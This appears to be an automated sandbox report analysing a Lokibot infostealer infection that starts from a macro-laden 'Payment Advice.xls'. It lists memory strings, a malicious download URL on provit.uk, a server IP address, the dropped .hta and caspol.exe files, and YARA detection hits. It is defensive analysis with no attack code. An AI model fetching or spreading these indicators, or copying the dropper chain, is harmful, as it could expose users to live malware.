Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511761813.0000000003D55000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003D55000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003D55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000005.00000002.454706317.0000000002271000.00000004.00000800.00020000.00000000.sdmp, caspol.exe, 0000000B.00000002.470705091.0000000002361000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.519043845.0000000002181000.00000004.00000800.00020000.00000000.sdmp, caspol.exe, 00000025.00000002.532965241.0000000002581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: rrwscqkDSNwLK.exe, 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namep5W
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: rrwscqkDSNwLK.exe, rrwscqkDSNwLK.exe, 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, caspol.exe, 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.ibsensoftware.com/
Source: powershell.exe, 00000005.00000002.468386481.00000000122A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.468386481.00000000122A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.468386481.00000000122A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000005.00000002.468386481.00000000122A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.510915090.0000000000290000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.511914905.0000000000290000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.506346159.0000000000290000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://provit.uk/
Source: mshta.exe, 00000004.00000003.430980490.0000000000512000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430640416.0000000000512000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430428593.0000000000512000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.431523218.0000000000512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://provit.uk/:
Source: mshta.exe, 0000001D.00000003.510915090.0000000000240000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.xls, CA430000.0.dr	String found in binary or memory: https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion
Source: mshta.exe, 00000004.00000003.430428593.00000000004C2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430640416.00000000004C2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430980490.00000000004C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion/k
Source: mshta.exe, 00000004.00000002.431523218.000000000049A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion0k
Source: mshta.exe, 0000001D.00000003.506346159.000000000022C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.510915090.000000000022C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion2
Source: mshta.exe, 0000001D.00000002.511914905.00000000001DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion?
Source: mshta.exe, 00000004.00000002.432158239.0000000004301000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430626132.0000000004301000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestionk.hta
Source: mshta.exe, 00000004.00000003.430640416.0000000000512000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430428593.0000000000512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestionket
Source: mshta.exe, 0000001D.00000003.506346159.0000000000240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://provit.uk/CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestionvc
Source: mshta.exe, 00000004.00000003.430980490.0000000000512000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430640416.0000000000512000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430428593.0000000000512000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.431523218.0000000000512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://provit.uk/J
Source: mshta.exe, 0000001D.00000003.511689770.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://provit.uk/~
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown	Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49180
Source: unknown	Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49179 -> 443

Source: unknown	HTTPS traffic detected: 198.244.140.41:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.244.140.41:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.244.140.41:443 -> 192.168.2.22:49180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.244.140.41:443 -> 192.168.2.22:49179 version: TLS 1.2

Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 28.2.rrwscqkDSNwLK.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 11.2.caspol.exe.3529c50.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 11.2.caspol.exe.3529c50.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 11.2.caspol.exe.3529c50.3.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 11.2.caspol.exe.3529c50.3.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 11.2.caspol.exe.3529c50.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 11.2.caspol.exe.3529c50.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 11.2.caspol.exe.3529c50.3.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 11.2.caspol.exe.3529c50.3.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 11.2.caspol.exe.3529c50.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 11.2.caspol.exe.350fc30.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 11.2.caspol.exe.350fc30.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 11.2.caspol.exe.350fc30.2.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 11.2.caspol.exe.350fc30.2.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 11.2.caspol.exe.350fc30.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 11.2.caspol.exe.350fc30.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 11.2.caspol.exe.350fc30.2.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 11.2.caspol.exe.350fc30.2.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 11.2.caspol.exe.350fc30.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: caspol.exe PID: 3888, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: Process Memory Space: rrwscqkDSNwLK.exe PID: 1644, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: Process Memory Space: rrwscqkDSNwLK.exe PID: 3576, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: Process Memory Space: caspol.exe PID: 4076, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown

Excel sheet contains many unusual embedded objects

Source: Payment Advice.xls	OLE: Microsoft Excel 2007+
Source: ~DF6CCF4596F2406470.TMP.0.dr	OLE: Microsoft Excel 2007+
Source: CA430000.0.dr	OLE: Microsoft Excel 2007+

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\greetingwithgreatthignsgivenbackwithentireprocessgivenmeback[1].hta

Jump to behavior

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\caspol.exe			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 770B0000 page execute and read and write

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_000007FE892700DD	5_2_000007FE892700DD
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 11_2_003804C0	11_2_003804C0
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 11_2_00382808	11_2_00382808
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 11_2_0038108F	11_2_0038108F
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 11_2_003810DC	11_2_003810DC
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 11_2_0038C178	11_2_0038C178
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 11_2_0038C5B0	11_2_0038C5B0
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 11_2_003827F7	11_2_003827F7
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 11_2_0038D9D8	11_2_0038D9D8
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 11_2_0038CAF8	11_2_0038CAF8
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 11_2_0038BD40	11_2_0038BD40
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 11_2_00381F68	11_2_00381F68
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: 21_2_003A04C0	21_2_003A04C0
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: 21_2_003A2808	21_2_003A2808
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: 21_2_003A108F	21_2_003A108F
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: 21_2_003A10DA	21_2_003A10DA
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: 21_2_003AC178	21_2_003AC178
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: 21_2_003AC5B0	21_2_003AC5B0
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: 21_2_003AD9D8	21_2_003AD9D8
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: 21_2_003ACAF8	21_2_003ACAF8
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: 21_2_003ABD40	21_2_003ABD40
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: 28_2_0040549C	28_2_0040549C
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: 28_2_004029D4	28_2_004029D4
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 37_2_003704C0	37_2_003704C0
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 37_2_00372808	37_2_00372808
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 37_2_003710D2	37_2_003710D2
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 37_2_0037C178	37_2_0037C178
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 37_2_0037C5B0	37_2_0037C5B0
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 37_2_0037D9D8	37_2_0037D9D8
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 37_2_0037CAF8	37_2_0037CAF8
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 37_2_0037BD40	37_2_0037BD40
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 37_2_00371F68	37_2_00371F68

Source: Payment Advice.xls	OLE indicator, VBA macros: true
Source: tmpAAE0.tmp.11.dr	OLE indicator, VBA macros: true
Source: tmpDCB9.tmp.21.dr	OLE indicator, VBA macros: true
Source: tmp1F44.tmp.37.dr	OLE indicator, VBA macros: true

Source: ~DF6CCF4596F2406470.TMP.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: tmpAAE0.tmp.11.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: tmpDCB9.tmp.21.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: tmp1F44.tmp.37.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: String function: 00405B6F appears 42 times

Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: C:\Users\user\AppData\Roaming\caspol.exe

Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory

Source: 28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
